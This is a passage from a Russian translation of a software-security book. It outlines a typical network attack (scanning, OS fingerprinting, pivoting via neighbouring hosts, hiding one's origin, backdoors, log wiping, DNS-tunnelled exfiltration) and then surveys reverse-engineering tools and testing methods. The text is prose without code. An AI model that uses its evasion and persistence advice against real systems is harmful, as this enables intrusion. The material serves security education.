ные системные администраторы, которые хватаются за телефонную трубку, как
только видят один запрос к своему порту rlogin. Будьте к этому готовы. С другой
стороны, подключенный к Internet стандартный компьютер сегодня подвергается
от 10 до 20 сканированиям за день без обнаружения этих сканирований. Средства
для выполнения стандартных сканирований портов — это стандартные средства из
арсенала хакеров>любителей. Но даже профессиональные (и дорогостоящие) при>
ложения наподобие FoundScan от компании Foundstone и CyberCop от NAI, очень
близки по основным принципам к свободно доступным технологиям сканирования.
Иногда сканирования портов выполняются очень хитро и незаметно, при одно>
временном сканировании тысяч сетей. Атакуемый узел может получать только
один>два пакета в час, но в конце недели проверяемые системы пройдут полное ска>
нирование! Брандмауэры могут немного усложнить проведение сканирования, но в
программах сканирования могут использоваться широковещательные или многоад>
ресные адреса отправителей и разумные комбинации флагов и портов получателя
для преодоления стандартных фильтров брандмауэра.

Определение операционной системы
После обнаружения атакуемого компьютера применяются дополнительные хит>
рости (опять на основе стандартных протоколов) для определения версии операци>
онной системы. Среди используемых методов можно назвать использование флагов
TCP>пакетов, фрагментации и сборки IP>пакетов, а также использование свойств
протокола ICMP. Существует огромное количество запросов, которые можно ис>
пользовать для определения версии операционной системы удаленного компьютера.
В большинстве случаев можно получить только часть ответа, но совместно они пре>
доставляют достаточно сведений для достоверного вывода о версии операционной
системы.
При таком огромном количестве доступных методов проверки практически не>
возможно заблокировать определение своей операционной системы. Любая попытка
подменить ответ на запрос подложной информацией будет приводить к непонятным
результатам для хакера, но при достаточно квалифицированных попытках в конеч>
ном результате чужую операционную систему практически всегда можно опреде>
лить. Более того, определению поддаются установленные параметры для сетевого
11

Результаты исследований Офира Аркина по теме протокола ICMP доступны по адресу
http://www.sys-security.com.

Шаблоны атак

73

интерфейса или стека. В качестве примера можно назвать анализаторы сетевых па>
кетов. Во многих случаях характеристики компьютера, на котором запущен анализа>
тор сетевых пакетов, являются специфическими, и операционную систему такого
хоста можно легко определить удаленно (более подробную информацию можно по>
лучить по адресу http://packetstormsecurity.nl/sniffers/antisniff).
Машины, сетевые адаптеры которых работают в неразборчивом режиме, более от>
крыты для атак сетевого уровня, поскольку они обрабатывают все пакеты, посту>
пающие из сети, даже те, которые предназначены для других хостов.

Сканирование портов
Сканирование портов выполняется по отношению к атакуемому компьютеру с
целью определить, какие службы на нем запущены. При сканировании проверяются
как TCP>, так и UDP>порты. После обнаружения открытого порта, путем отправки
пакетов на этот порт можно определить, какая служба запущена на этом порту и на
основе какого протокола она работает. Над созданием средств для сканирования
портов трудится очень много хакеров. На сегодня доступны тысячи программ для
сканирования портов, но большинство из них низкого качества. Наиболее популяр>
ная программа сканирования портов настолько хорошо известна, что ее не стоит об>
суждать. Она называется nmap (более подробную информацию можно получить по
адресу http://www.insecure.org.nmap). Тем, кто никогда не пробовал свои си>
лы в ремесле сканирования портов, nmap представляется хорошим выбором, по>
скольку поддерживает множество вариантов сканирования. Сделайте немного
больше, чем обычно, и используйте программу сканирования сети для анализа ре>
зультатов сканирования, сделанных nmap.

Отслеживание маршрута и перенос зоны
Пакеты для отслеживания маршрута передачи сообщения (с помощью програм>
мы traceroute) отлично подходят для определения физической структуры сете>
вых устройств. DNS>серверы предоставляют значительный объем информации об
IP>адресах и подключенных к ним компьютерах. При наличии сведений о версии
операционной системы и результатов сканирования портов, хакер получает в свое
распоряжение довольно точную “карту” для атаки на избранную сеть. На этой карте
определены точки входа, через которые могут быть доставлены вредоносные данные,
принимаемые программным обеспечением на уровне приложений. На этой стадии
хакер может переходить к проверке программного обеспечения на уровне приложе>
ний. Не забывайте, что файлы зон могут быть очень объемными. Несколько лет на>
зад одному из авторов этой книги (Хогланду) удалось получить файл зоны для всей
Франции (поверьте, он был действительно большим).

Компоненты атакуемой системы
Если в атакуемой системе хранятся общедоступные файлы или установлены
Web>службы, то они должны быть обязательно проверены в качестве легкой цели.
Особенно легко использовать компоненты программного обеспечения, например
CGI>программы, сценарии, обслуживающие программы и компоненты EJB. Каждый
компонент может принимать пакеты, то есть является интересной для хакера точкой
входа. Чтобы узнать больше о цели атаки, можно отправить запросы или даже спе>

74

Глава 2

циально подготовленные пакеты или запустить анализатор сетевых пакетов, кото>
рый сохранит сведения о пакетах, передаваемых интересующему хосту. Пакеты до>
пустимых типов могут использоваться позже в качестве базового средства для про>
ведения описанных в этой книге полномасштабных атак.

Выбор шаблона атаки
После определения того, какие пакеты смогут поступить на атакуемый компью>
тер, можно подобрать конкретный шаблон атаки. Можно попробовать внедрить
свою команду, проникнуть в интерфейс API файловой системы, в базу данных SQL,
провести атаку отказа в обслуживании либо на уровне приложения, либо на уровне
сети. Можно также проверить элементы, в которые можно вводить данные, с целью
обнаружить ошибки переполнения буфера. После обнаружения уязвимого места его
можно использовать для несанкционированного доступа к системе.

Взлом соседних хостов
Как только обнаружено уязвимое место для доступа к цели можно проверить
различные варианты вредоносных данных. Эти стандартные вредоносные пакеты
будут рассмотрены далее по мере изложения материала книги. Преимущество наше>
го систематического подхода на уровне системы состоит в возможности определения
видимости конкретных проблем. Некоторые уязвимые места могут быть использо>
ваны только внутри защищенной брандмауэром сети. Поскольку мы обладаем све>
дениями о локальной сети, в которой работает атакуемый компьютер, мы можем
найти соседние серверы, взломав которые можно затем вернуться к атаке на избран>
ную цель. Таким образом, атака на цель может быть проведена за несколько после>
довательных шагов. Представим, например, что атакуемый компьютер работает в
DSL>сети. Для обслуживания многочисленных клиентов DSL>провайдер может ис>
пользовать мультиплексор DSLAM. Мультиплексор DSLAM способен перенаправ>
лять весь широковещательный трафик ко всем подчиненным подписчикам. Если
система хорошо защищена или в ней открыто только несколько каналов для приема
данных, то, возможно, более правильно будет атаковать близлежащую систему. По>
сле компрометации соседнего хоста его можно использовать для проведения атаки с
использованием ARP>данных на основную цель атаки.

Перенаправление атаки
Очевидной целью при взломе системы является сокрытие источника атаки. Это
очень просто при взломе популярных ныне беспроводных сетей, построенных на
протоколе 802.11. Internet>кафе с беспроводным доступом может служить прекрас>
ным местом для проведения атаки. Однако не следует проводить атаки непосредст>
венно на избранную цель. Используя чужие компьютеры, легче оставаться в безо>
пасности. Границы государств тоже служат на руку хакерам. Хакер находится в от>
носительной безопасности, сидя в Internet>кафе в Хьюстоне и одновременно
запуская атаку из Нью>Дели через китайскую границу. Нет таких провайдеров, ко>
торые бы совместно использовали файлы журналов в этих точках. Даже при поимке
злоумышленника возникает проблема экстрадиции.

Шаблоны атак

75

Размещение потайных ходов
После успешного применения программы атаки весьма увеличиваются шансы на
то, что хакер получит полный доступ к компьютеру атакованной сети. Следующая
задача хакера заключается в создании безопасного туннеля через брандмауэр и уда>
лении всех опасных для него записей из журналов. Если атака привела к возникно>
вению заметной ошибки, то по определению заметная ошибка станет причиной ре>
гистрируемых событий. Цель хакера — уничтожить все следы проведенных дейст>
вий. Нужно перезагрузить все системы, которые могут выйти из строя и удалить все
записи из журналов относительно неправильного использования программ и записи
о регистрации пакетов. Хакер, как правило, хочет оставить на взломанной системе
запущенную программу из набора средств для взлома или потайной ход с досту>
пом к командному интерпретатору, которые бы позволили получить доступ к сис>
теме в любое время. Подобным хитростям посвящена глава 8, “Наборы средств для
взлома”. Работа программы из набора средств для взлома может быть замаскирована
на взломанном хосте. Для полной маскировки своих установленных на хосте про>
грамм от глаз системного администратора или контролирующего программного
обеспечения, злоумышленник вносит изменения в само ядро операционной системы.
Код для создания потайного хода может быть скрыт даже в BIOS или в памяти
EEPROM периферийных карт и оборудования.
Хороший потайной ход может запускаться с помощью специального пакета или
становится доступен только в определенное время. Запущенная программа хакера
способна проводить подрывную деятельность даже без его участия, например реги>
стрировать последовательности нажатия клавиш или перехват пакетов. Военная
разведка, например, предпочитает перехватывать чужие сообщения электронной
почты. ФБР больше нравятся программы отслеживания нажатий клавиш. Что
именно будет делать ваша программа удаленного мониторинга, зависит от ваших
целей. Собранные данные могут отправляться из взломанной сети в реальном вре>
мени или сохраняться в безопасном месте для последующего доступа. Наслучай об>
наружения можно предусмотреть шифрование данных. Файлы хранилища инфор>
мации могут быть скрыты с помощью модификаций в ядре. При отправке данных из
сети они могут упаковываться в пакеты стандартных протоколов (с помощью стено>
графических приемов). Если в сети осуществляется множество операций для работы
со службой DNS, то удачным решением будет упаковка собранных данных в DNS>
пакет. Для усложнения выявления передаваемой информации можно отправлять
пакеты с конфиденциальными данными в наборе пакетов, содержащих другие, со>
вершенно обычные данные.

Обозначения шаблонов атак
Во многих главах этой книги есть врезки, в которых описываются конкретные
шаблоны атак и их важные аспекты. Подобные врезки выглядят следующим образом
(представленный пример взят из главы 4).

76

Глава 2

Шаблон атаки: атака на программы, которые обладают правами записи
в привилегированных областях операционной системы
Выполняется поиск программ, которые обладают правами записи в системных каталогах
или параметрах реестра (например HKLM). Эти программы обычно запускаются с высокими
привилегиями и, как правило, не обладают встроенными функциями защиты.

Резюме
В этой главе представлено краткое введение по теме шаблонов атак и рассмотрен
стандартный процесс проведения атаки (довольно поверхностно). Если наши чита>
тели хотят узнать больше о базовых концепциях взлома, то советуем воспользовать>
ся предоставленными нами ссылками. Технические подробности будут рассмотрены
в последующих главах. Большая часть оставшегося материала этой книги посвящена
изучению конкретных программ атаки, которые соответствуют нашей классифика>
ции шаблонов атак.

Восстановление исходного кода и структуры программы

77

Глава 3

Восстановление исходного кода и
структуры программы

Б

ольшинство людей взаимодействуют с компьютерными программами на очень
поверхностном уровне: они вводят данные и терпеливо ожидают результатов.
Хотя общедоступный интерфейс большинства программ и может быть довольно
скудным, но основная часть программ обычно работает на гораздо более глубоком
уровне, чем это кажется на первый взгляд. В программах достаточно много срытого
содержимого, доступ к которому позволяет получить серьезные преимущества. Это
содержимое может быть крайне сложным, чем обусловлена и сложность взлома про#
граммного обеспечения, а значит, осуществление взлома предполагает наличие оп#
ределенного уровня знаний о содержимом программы.
Можно смело сказать, что основным качеством хорошего хакера является умение
раскрывать тонкости и хитрости кода атакуемого программного обеспечения. Этот
процесс называют восстановлением исходного кода и структуры программы (reverse
engineering). Несомненно, взломщики программного обеспечения являются высоко#
квалицированными пользователями готовых программных средств. Но взлом про#
граммного обеспечения не имеет ничего общего с волшебством, и нет никаких вол#
шебных программ для проведения взлома. Для взлома нестандартной программы
хакер должен уметь воздействовать на атакуемую программу необычными способа#
ми. Таким образом, хотя при атаке практически всегда используются специальные
средства (дизассемблеры, механизмы создания сценариев, генераторы входных дан#
ных), но это только основа для атаки. Результат атаки все#таки полностью зависит
от способностей хакера.
При взломе программы главное — это выяснить предположения, которые были
допущены разработчиками системы, и использовать эти предположения в своих це#
лях (вот почему так важно раскрыть все сделанные предположения во время проек#
тирования и создания программного обеспечения). Восстановление исходного кода
и структуры программы является прекрасным методом для раскрытия сделанных
предположений. Особенно тех из них, которые реализованы безо всяких проверок и
1
которыми можно воспользоваться при атаке .
1

Мой знакомый из компании Microsoft рассказал забавную историю об удачливом хакере,
который использовал слово “предположение”, чтобы найти уязвимые места в программах.
Некоторые разработчики наивно думали, что написать о своих предположениях относительно

78

Глава 3

Внутри программы
Образно выражаясь, программы позволяют создать “пропускную систему”, защи
щая потенциально опасные данные с помощью правил, относительно того, кто и когда
имеет право доступа к этим данным. На обозрение пользователю выставлены только
ярлыки программ, подобно тому, как интерьер дома можно разглядеть через открытые
двери. Законопослушные пользователи проходят через эти “двери”, чтобы получить
хранящиеся внутри данные. Для каждой программы предусмотрены свои точки входа.
Проблема в том, что этими же “дверями” для доступа к программному обеспечению
внутри компании могут воспользоваться и удаленные злоумышленники.
Рассмотрим, например, очень распространенную “дверь” доступа к программно
му обеспечению, работающему в Internet, — TCP/IPпорт. Хотя в обычной програм
ме есть много точек доступа, многие хакеры прежде всего проверяют TCP/IPпорты.
Сделать это достаточно просто с помощью средств сканирования портов. С помо
щью портов предоставляется доступ пользователей к программе, но найти “дверь” —
это только начало дела. Обычная программа довольно сложна (как дом, состоящий
из многих комнат). Самое ценное “сокровище”, как правило, спрятано внутри
“дома”. Практически во всех атаках злоумышленнику приходится выбирать слож
ный маршрут для поиска искомых данных в программе. Он как бы идет с фонариком
по незнакомому дому. Успешное путешествие по этому лабиринту позволит полу
чить доступ к нужным данным и иногда даже полный контроль над программным
обеспечением.
Программное обеспечение компьютера представляет собой набор инструкций,
которые определяют возможности компьютера общего назначения. Таким образом, в
некотором смысле программа представляет собой реализацию конкретной машины
(состоящей из компьютера и его инструкций). Подобные машины должны работать
по заданным правилам и действовать по строго заданным характеристикам. То, как
именно работает программа, можно оценить в процессе ее выполнения. Сложнее уз
нать ее исходный код и понять внутренние процессы в самой программе. В некото
рых случаях исходный код программы является открытым для изучения, в некото
рых — нет. Таким образом, методы взлома не всегда основываются на исходном коде
программы. И действительно, некоторые методы атак работают независимо от дос
тупности исходного кода. Другие методы позволяют воссоздать исходный код по
машинным командам. Именно этим методам и посвящена в основном данная глава.

Восстановление исходного кода
Инженерный анализ представляет собой процесс воссоздания принципиальной
схемы машины с помощью изучения только самой машины и характеристик ее рабо
ты. На самом высоком уровне это может означать изучение механизма, принцип
действия которого сначала неясен, но начинает проясняться по ходу дальнейшего
анализа. Грамотный инженер по восстановлению исходного кода сначала стремится
понять детали программного обеспечения, что, с другой стороны, предполагает по
разработки программ вполне безопасно. Хакер просто воспользовался информацией, пре
доставленной самими программистами. Такие атаки называются атаками социальной инже
нерии. Имеют тенденции к успеху и другие подобные опросы, посвященные ошибкам, исправле
ниям и т.д. — Прим. авт.

Восстановление исходного кода и структуры программы

нимание всей системы в целом. Он должен
хорошо разбираться как в программном обе>
спечении, так и в аппаратных средствах, и
иметь истинное представление о том, как эти
средства взаимодействуют друг с другом.
Рассмотрим, как внешние данные обра>
батываются программой. Внешний пользо>
ватель может вводить данные и команды.
Каждый выбор ветви кода является ре>
зультатом нескольких решений, которые
принимаются на основе входных данных.
Иногда канал исполнения кода может быть
“широким” и успешно пропускать неогра>
ниченное количество сообщений. Но он
бывает и “узким”, что приводит к замедле>
нию или даже зависанию программы, если
входные данные сформированы некор>
ректно. На рис. 3.1 изображена блок>схема
программы стандартного FTP>сервера. На
этом рисунке хорошо видно, насколько
сложны взаимосвязи между участками
программы. Каждый фрагмент кода изо>
бражен в виде блока, содержащего соответ>
ствующие машинные команды.
Вообще, чем больше углубляться в про>
грамму, тем большее количество переходов
будет между местом “старта” и конечной
точкой. Чтобы получить доступ к конкрет>
ной точке в нашем “доме”, придется снача>
ла пройти через многие “комнаты” (и наде>
яться, что там есть полезные данные). Каж>
дая внутренняя “дверь” имеет свои правила
относительно того, какие данные разрешено
пропускать. Поэтому очень сложно создать
“правильные” вредоносные данные, ко>
торые бы прошли сквозь все “двери”, как

Рис. 3.1. На этом рисунке показана блоксхема
выполнения программы стандартного FTPсер
вера. Каждый блок представляет собой набор
инструкций, которые запускаются в едином па
кете, одна за другой. Линии между блоками ото
бражают передачу управления. Во многих слу
чаях решение относительно того, какая ветвь
будет выбрана, зависит от данных, введенных
хакером

79

80

Глава 3

внешние, так и внутренние. В общем, входные данные становятся все более лако>
ничными и специфическими по мере углубления в программу. Вот почему для взло>
ма программы недостаточно прямолинейных попыток подбора. Простая подача на
вход программы случайных данных практически никогда не приводит к перебору
всех возможных маршрутов исполнения кода. Поэтому многие возможные пути в
программе остаются неизученными (и неиспользованными при взломе) как хакера>
ми, так и специалистами по обеспечению безопасности.

Зачем это нужно?
Восстановление исходного кода позволяет узнать об оригинальной структуре
программы и том, как вообще работают программы. Это просто необходимые сведе>
ния при взломе программного обеспечения. Например, можно узнать, какие систем>
ные функции использует атакуемая программа, к каким файлам она обращается, на
основе каких протоколов работает и как взаимодействует с другими компьютерами
локальной сети.
Основное преимущество восстановления исходного кода программы состоит в воз>
можности изменить структуру программы и повлиять на ход ее выполнения. С техни>
ческой точки зрения это создание заплаты (patching), поскольку добавляются за>
платы к оригинальному программному коду. Заплаты позволяют добавить команды
или изменить метод работы конкретного вызова функции, а значит, добавить потай>
ные возможности, удалить или деактивировать функции и исправить в исходном
коде ошибки, связанные с системой безопасности. В среде хакеров заплаты часто ис>
пользуются для уничтожения механизмов защиты от копирования.
Как и любое средство, восстановление исходного кода можно использовать и в
благих, и в дурных целях.

Насколько это легально?
Восстановление исходного кода затрагивает вопросы, описанные в законе об ин>
теллектуальной собственности. Во многих лицензиях на использование программ>
ного обеспечения жестко запрещается восстановление исходного кода. Компании по
разработке программного обеспечения опасаются (и абсолютно справедливо), что с
помощью восстановления исходного кода будут раскрыты алгоритмы и методы, ис>
пользованные в их программах, которые являются их собственностью. Однако нет
никакого прямого закона, запрещающего восстановление исходного кода.
Поскольку восстановление исходного кода является основным действием для
устранения механизма защиты от копирования, то возникают определенные сомне>
ния насчет его легальности. Безусловно, применение восстановления исходного ко>
да для уничтожения защиты от копирования является незаконным. Однако само по
себе восстановление исходного кода не является незаконным. Если появится закон,
запрещающий восстановление исходного кода, то это создаст массу проблем для ря>
довых пользователей программного обеспечения. Подобный запрет будет напоми>
нать запрет на открытие капота вашего автомобиля для его ремонта, т.е. пользовате>
лю, согласно такому закону, при каждом ремонте и техническом обслуживании при>
дется обращаться к дилеру.
Поставщики программного обеспечения запрещают восстановление исходного
кода в своих лицензиях по многим причинам. Одна из очевидных причин заключа>
ется в том, что восстановление исходного кода позволяет раскрыть секретные мето>

Восстановление исходного кода и структуры программы

81

ды и алгоритмы. Однако фокусировать всевозможные проблемы на самой идее вос>
становления исходного кода было бы довольно глупо. Для опытного программиста
обладание двоичным машинным кодом не менее полезно, нежели самим исходным
кодом. Таким образом, секреты уже раскрыты, хотя только специалисты способны
“прочесть” код. Не забывайте, что секретные методы можно защитить другими пу>
тями, без попыток их скрыть от всех, кроме специалистов, в скомпилированном про>
граммном коде. Для этой цели существуют патенты и закон по защите авторских
прав. Хорошим примером защиты авторских прав являются алгоритмы шифрова>
ния. Мощность и распространенность этих алгоритмов возможно обеспечить только
при общедоступности этих алгоритмов для их оценки специалистами по шифрова>
нию. Однако разработчик алгоритма может запатентовать свои авторские права. Так
произошло для популярной схемы шифрования RSA.
Второй причиной противодействия восстановлению исходного кода является
желание разработчиков программ закрыть свои программы от исследователей, кото>
рые могут найти ошибки в системе защиты. Довольно часто специалисты по безо>
пасности находят такие ошибки в программах и сообщают о них с помощью фору>
мов, например, в bugtraq. Это вредит репутации поставщиков программного обеспе>
чения (и одновременно заставляет улучшать несовершенные программы). Значи>
тельно лучше, если специалист по обеспечению безопасности спешит уведомить
разработчика программы о выявленной проблеме, но ожидает определенное время
до выхода исправления, прежде чем сообщать о ней всем пользователям. Обратите
внимание, что в период внесения исправлений уязвимое место остается доступным
для использования всеми желающими. Если восстановление исходного кода будет
запрещено, специалисты не смогут проверять качество программного кода. Пользо>
вателям придется верить на слово поставщикам программ, заявляющим о высочай>
шем качестве их продукта. При этом не забывайте, что ни один поставщик не несет
финансовой ответственности за выявление недостатков в своем программном обес>
печении.
В контексте закона об авторских правах в цифровую эпоху (DCMA), восстановле>
ние исходного кода и структуры программы рассматривается с точки зрения наруше>
ния прав собственности и взлома программного обеспечения. С очень интересной точ>
кой зрения относительно того, как этот закон влияет на свободу личности, можно оз>
накомиться на сайте Эда Фелтена (http://www.freedomtotinker.com).
При интерактивной покупке или установке программного обеспечения пользова>
телю обычно выводится окно лицензионного соглашения с конечным пользователем
(EULA). Это соглашение о правилах использования программного обеспечения, ко>
торое надо прочесть и принять. Во многих случаях даже вскрытие контейнера с па>
кетом программного обеспечения (например, коробки) означает согласие с условия>
ми лицензии. При загрузке программного обеспечения по Internet, как правило, от
пользователя требуется щелкнуть на кнопке “I AGREE” (“Я согласен”) при появле>
нии окна, содержащего текст лицензии. При этом часто запрещается восстановление
исходного кода и структуры программы.
Еще более строгие ограничения относительно восстановления исходного кода и
структуры программы (вплоть до криминальной ответственности) накладывает
стандарт UCITA (Uniform Computer Information Transaction Act), который уже при>
нят в нескольких штатах США.

82

Глава 3

Средства для восстановления исходного кода
Идея восстановления исходного кода стала толчком для развития целой индуст>
рии технических решений. Инженеры по восстановлению исходного кода решают
многие актуальные и сложные проблемы, например, те, что связаны с определением
нужного протокола и восстановлением кода для исполняемых программ. Например,
в 1980>х годах удалось восстановить исходный код BIOS для персональных компью>
теров IBM PC, что привело к возникновению на рынке множества аналогичных ре>
шений. Те же методы используются и в игровой индустрии телевизионных приста>
вок (например, для создания аналогов Sony PlayStation). Для обеспечения совмес>
тимости чипов компании Cyrix и AMD осуществили восстановление исходного кода
для программного обеспечения и принципов работы микропроцессоров компании
Intel. Но с точки зрения закона восстановление исходного кода граничит с преступ>
лением. Новые законы наподобие DMCA и UCITA (которые критикуют многие
специалисты по безопасности) накладывают жесткие ограничения на восстановле>
ние исходного кода. Если вы собираетесь легально заниматься восстановлением
исходного кода, следует ознакомиться с этими законами. Мы не собираемся делать
заключительных оценок по поводу легальности восстановления исходного кода,
поскольку не является юристами, но советуем всегда консультироваться со специа>
листами по вопросам интеллектуальной собственности.

Отладчик
Отладчиком называется программа, которая выполняет внутри себя другую про>
грамму и позволяет осуществлять контроль за этой исполняемой программой. С по>
мощью отладчика можно проверять программу пошагово, отслеживать маршрут ис>
полнения кода, устанавливать точки останова и контролировать значения перемен>
ных и памяти проверяемой (или атакуемой) программы. Отладчик просто
незаменим для определения логической структуры программы. Существует две ка>
тегории отладчиков: отладчики пользовательских программ и отладчики ядра. От>
ладчики пользовательских программ запускаются как обычная программа под
управлением операционной системы и подчиняются тем же правилам, что и обыч>
ные программы. Таким образом, отладчики этой категории способны выполнять от>
ладку только других процессов, выполняющихся на уровне пользователя. Отладчик
ядра является частью операционной системы, и с его помощью можно выполнять
отладку драйверов устройств и даже самой операционной системы. Одним из са>
мых популярных отладчиков ядра является отладчик SoftIce. (http://www.
compuware.com/products/driverstudio/ds/softice.htm ).

Средства для внесения ошибок
Средства, которые способны предоставлять некорректные входные данные для
атакуемого процесса, чтобы привести к появлению сбоя в ходе исполнения этого
процесса, называются средствами для внесения ошибок. Выявить ошибки в прове>
ряемой программе можно путем анализа сбоев в работе этой программы. Некоторые
сбои приводят к тяжелым последствиям для системы безопасности. С их помощью
хакер может получить непосредственный доступ к хосту или сети. Средства для вне>
сения ошибок бывают двух типов: для применения на хостах и сетевые. Средства
для внесения ошибок на хостах действуют наподобие отладчиков и способны под>

Восстановление исходного кода и структуры программы

83

ключаться к процессам и изменять состояние программы. Сетевые средства для вне
сения ошибок основаны на манипуляции сетевым трафиком в целях оценки эффекта
воздействия на получателя.
Хотя классические методы внесения ошибок действуют на основе изменения ис
ходного кода, но появились и современные средства, в которых больше внимания
уделяется манипуляциям с входными данными для программы. Особый интерес у
специалистов по безопасности вызвали программы Hailstorm (от компании Cenzic),
Failure Simulation Tool или FST (от компании Cigital) и Holodeck (от компании
Florida Tech).

Дизассемблер
Дизассемблер позволяет конвертировать машинный код в код на языке ассемб
лера. Код на языке ассемблера является читабельной формой машинного кода (по
крайней мере, более читабельной, чем строка битов). С помощью дизассемблера
можно узнать, какие машинные инструкции используются в машинном коде. Ма
шинный код является специфическим для конкретной аппаратной архитектуры
(например, для чипа PowerPC или Intel Pentium). Поэтому и дизассемблеры пишут
ся специально для конкретной аппаратной архитектуры.

Декомпилятор
Декомпилятор — это средство, которое позволяет преобразовать код на языке ас
семблера или машинный код в исходный код на высокоуровневом языке, например
на C. Также существуют декомпиляторы для преобразования кода на промежуточ
ных языках наподобие байткода Java и кода на языке MSIL (Microsoft Intermediate
Language) в исходный код наподобие Java. Эти средства оказывают огромную по
мощь в определении структуры кода на высоком уровне, например циклов, операто
ров switch и конструкций if-then. Хорошая пара дизассемблер/декомпилятор
может использоваться для компиляции своего собственного результата восстанов
ления кода обратно в двоичный код.

Методы для восстановления исходного кода
Как уже говорилось выше, иногда исходный код доступен для исследователя, а
иногда — нет. Чтобы разобраться в принципах действия программного обеспечения,
используются методы тестирования и анализа т.н. “черного ящика” и “белого ящи
ка”. Эти методы определяются степенью доступности исходного кода.
Какой бы метод ни использовался, чтобы найти уязвимые места в программном
обеспечении, хакер всегда должен исследовать несколько базовых вопросов:
функции, в которых выполняются некорректные (или вообще не выполняют
ся) проверки размера входных данных;
функции, которые могут пропускать или принимать введенные пользовате
лями данные в строках форматирования;
функции, предназначенные для проверки границ в строках форматирования
(например %20s);
процедуры, которые получают введенные пользователем данные с помощью
цикла;

84

Глава 3

низкоуровневые операции копирования;
программы, в которых используются арифметические операции с адресом
буфера, переданным в качестве параметра;
системные вызовы, которым оказывается безоговорочное “доверие” и кото>
рые принимают входные данные в динамическом режиме.
Этот список первоочередных целей необходим при исследовании двоичного кода.

Исследование по методу “белого ящика”
При исследовании по методу “белого ящика” выполняется анализ прежде всего
исходного кода. Иногда доступен только двоичный код, но можно провести его де>
компиляцию, получить из двоичного исходный код и провести его исследование, что
также является анализом по методу “белого ящика”. Этот метод тестирования очень
эффективен для выявления ошибок программирования и реализации в программ>
ном обеспечении. В некоторых случаях исследование доходит до поиска соответст>
вий с заданными шаблонами и может даже выполняться автоматически с помощью
2
статического анализатора . Но для метода “белого ящика” характерен один недоста>
ток. Дело в том, что при использовании этого метода часто выявляются якобы по>
тенциальные уязвимые места, которых в действительности не существует (false
positive). Тем не менее, методы статического анализа исходного кода позволяют ус>
пешно взламывать некоторые программы.
Средства для проведения исследований по методу “белого ящика” можно разде>
лить на две категории: те, которым требуется исходный код, и те, которые автомати>
чески декомпилируют двоичный код и продолжают работу с этого момента. Мощная
платформа для анализа по методу “белого ящика” под названием IDA>Pro не требует
наличия исходного кода. То же самое касается и программы SourceScope, которая
поставляется с мощной базой данных по ошибкам в исходном коде и программах на
Java, C и C++. Предоставляемые этими средствами сведения чрезвычайно полезны
при анализе вопроса о безопасности программного обеспечения (и, конечно, при
взломе программ).

Исследование по методу “черного ящика”
При исследовании по методу "черного ящика"” на вход выполняемой программы
подаются различные тестовые данные. При таком тестировании требуется только
запуск программы и не проводится никакого анализа исходного кода. С точки зре>
ния безопасности на вход программы могут подаваться вредоносные данные с целью
вызвать сбой в работе программы. Если программа дает сбой при выполнении како>
го>то теста, то считается, что выявлена проблема безопасности.
Обратите внимание, что анализ по методу “черного ящика” возможен даже без
доступа к двоичному коду. Таким образом, программа может быть проанализирова>
на по сети. Все, что требуется, — это наличие запущенной программы, которая спо>
собна принимать входные данные, т.е. если исследователь способен отправлять
входные данные, которые принимает программа, и способен получить результат об>
2

Программа SourceScope от компании Cigital, например, позволяет выявлять потен
циальные просчеты в системе безопасности во фрагменте исходного кода программы
(www.cigital.com). — Прим. авт.

Восстановление исходного кода и структуры программы

85

работки этих данных, значит, возможно тестирование по методу “черного ящика”.
Вот почему многие хакеры выбирают для взлома именно методы “черного ящика”.
Анализ программы по методу “черного ящика” не так эффективен, как при исполь>
зовании метода “белого ящика”, но этот метод намного проще для реализации и не
требует высокого уровня квалификации. В ходе тестирования по методу черного ящи>
ка, специалист, воздействуя на программу, по выдаваемым результатам пытается мак>
симально точно определить пути исполнения кода в программе. При этом невозможно
проверить действительное место ввода пользовательских данных в коде программы, но
тестирование по методу черного ящика больше напоминает реальную атаку в реальной
среде исполнения по сравнению с использованием метода “белого ящика”.
Поскольку исследование по методу “черного ящика” происходит на работающей
системе, то оно часто применяется в качестве эффективного средства для понимания
и проверки проблем отказа в обслуживании. А поскольку это тестирование способно
оценивать работу приложения в его среде исполнения (по возможности), то оно мо>
жет использоваться для выявления уязвимых мест в реально работающей производ>
3
ственной системе . Иногда ошибки, выявленные при анализе по методу “черного
ящика”, не могут быть использованы хакерами при реальных атаках на конкретную
систему в конкретной сети. Например, атаку может заблокировать брандмауэр.
Коммерческая платформа Hailstrorm от компании Cenzic позволяет провести
тестирование по методу “черного ящика” тех программ, которые запущены на под>
ключенных к сети системах. Она может использоваться для поиска уязвимых мест в
работающих системах. Существуют специальные устройства, например SmartBits и
IXIA, для проверки машрутизаторов и коммутаторов. Для проверки целостности
стека TCP/IP можно воспользоваться бесплатной программой ISICS. Проверку
протоколов по методу “черного ящика” весьма удобно провести с помощью средств
RROTOS и Spike.

Исследование по методу “серого ящика”
В исследованиях по методу "серого ящика"” объединены методы “белого ящика”
и способы тестирования с помощью входных данных по методу “черного ящика”.
Удачным примером простого анализа по методу “серого ящика” является запуск
программы внутри отладчика и подача на вход этой программы различных данных.
При этом идет выполнение программы, а отладчик используется для выявления
ошибок и некорректных состояний. Коммерческая программа Purify от компании
Rational обеспечивает подробный анализ во время выполнения программы и в ос>
новном направлена на исследование работы с памятью. Это особенно важно для
программ на C и C++ (известных своими проблемами при выделении памяти).
Valgrind — это бесплатный отладчик, который обеспечивает анализ программы во
время ее выполнения в среде Linux.
В целом, все методы тестирования позволяют раскрыть риски для программного
обеспечения и потенциальные возможности для проведения атак. Анализ по методу
3

Очевидно, что при тестировании работающего программного обеспечения в реальной
производственной среде возникают некоторые проблемы. Успешный тест отказа в обслужи
вании приводит к таким же последствиям для производительности системы, как и реальная
атака. Согласно нашему опыту, компании не очень любят прибегать к подобному тестирова
нию. — Прим. авт.

86

Глава 3

“белого ящика” позволяет выявить большее число ошибок, но в этом случае трудно
измерить действительный риск проведения атаки. Анализ по методу “черного ящи>
ка” выявляет реальные проблемы, которыми гарантированно можно воспользовать>
ся при атаках. Метод “серого ящика” позволяет объединить оба метода с максималь>
ной выгодой. Тесты по методу “черного ящика” позволяют проверить программы по
сети. Для проведения анализа по методу “белого ящика” требуется доступ к исход>
ному или машинному коду для статического исследования. Как правило, сначала
используется метод “белого ящика” для выявления потенциально проблематичных
мест, а затем применяются методы “черного ящика” для создания работающих про>
грамм атаки, направленных на эти проблематичные области.
Основная проблема для всех типов тестирования (и по методу “черного ящика”,
и по методу “белого ящика”) состоит в том, что в них не исследуются все аспекты
программ, т.е. большинство организаций, занимающихся оценкой качества про>
граммного обеспечения, заботятся только о проверке функциональных возможно>
